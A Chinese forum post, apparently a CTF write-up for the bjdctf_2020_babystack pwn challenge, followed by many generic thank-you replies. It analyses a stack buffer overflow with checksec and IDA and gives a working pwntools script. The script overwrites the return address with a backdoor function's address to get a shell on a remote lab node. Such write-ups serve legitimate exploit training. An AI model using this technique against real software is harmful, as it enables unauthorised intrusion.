申倩语 发表于 2025-10-6 12:25:28

PWN手的成长之路-03-bjdctf_2020_babystack


首先nc一下远程环境,看一下他有什么功能。发现有两个输入,第一个是输入名字的长度,第二个是输入名字。

file 查看一下给的附件。是一个64位的 ELF 可执行文件。

checksec 查看文件的安全保护。得知启动了NX栈保护,其他保护都没开。

使用IDA查看文件的main函数。在打开时需要区分32位与64位,低版本的IDA,32位文件需要在IDA32中打开,但是IDA版本较高时就不用管了,32位也可以放在IDA64中打开。

查看伪代码:

发现了 scanf 这个这个高危函数。
程序流程:用户输入一个整数,并把此数存在 nbytes 变量中,再提示用户输入姓名,然后使用read函数从标准输入读取指定长度(由 nbytes 决定)的数据到 buf 数组中。
并且在函数中发现了 backdoor 这个后门函数,因此我们就需要造成程序的溢出再让其覆盖 backdoor 函数的位置,得到 shell

查看我们需要填充的字节为 0x10+8=0x18

backdoor 函数的内存地址为:0x4006E6

编写exp:
from pwn import *
r=remote('node5.buuoj.cn',29605)

backdoor_addr=0x4006E6
#ret = 0x401198

payload=b'a'*0x18+p64(backdoor_addr)
r.sendlineafter('name','123')
r.sendline(payload)
r.interactive()
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

劳欣笑 发表于 2025-12-4 01:17:01

东西不错很实用谢谢分享

仲秀娟 发表于 2025-12-13 16:41:21

很好很强大我过来先占个楼 待编辑

吟氅 发表于 2025-12-17 01:31:05

感谢分享,学习下。

赖琳芳 发表于 2026-1-8 02:27:35

东西不错很实用谢谢分享

挫莉虻 发表于 2026-1-15 01:44:18

感谢发布原创作品,程序园因你更精彩

茅香馨 发表于 2026-1-16 19:13:07

很好很强大我过来先占个楼 待编辑

即息极 发表于 2026-1-18 02:06:17

谢谢楼主提供!

请蒂 发表于 2026-1-21 05:46:13

这个有用。

任修 发表于 2026-1-22 04:50:23

很好很强大我过来先占个楼 待编辑

粉押淫 发表于 2026-1-25 10:30:18

懂技术并乐意极积无私分享的人越来越少。珍惜

汪之亦 发表于 2026-1-27 07:35:42

感谢分享,学习下。

度阡舅 发表于 2026-1-29 05:50:07

感谢,下载保存了

益竹月 发表于 2026-2-4 08:51:41

yyds。多谢分享

寇秀娟 发表于 2026-2-5 10:02:09

懂技术并乐意极积无私分享的人越来越少。珍惜

阎逼 发表于 2026-2-6 07:52:30

热心回复!

腥狩频 发表于 2026-2-8 00:12:35

很好很强大我过来先占个楼 待编辑

泠邸 发表于 2026-2-8 04:09:48

热心回复!

薛小春 发表于 2026-2-8 05:19:00

感谢分享

神泱 发表于 2026-2-8 08:25:18

过来提前占个楼
页: [1] 2
查看完整版本: PWN手的成长之路-03-bjdctf_2020_babystack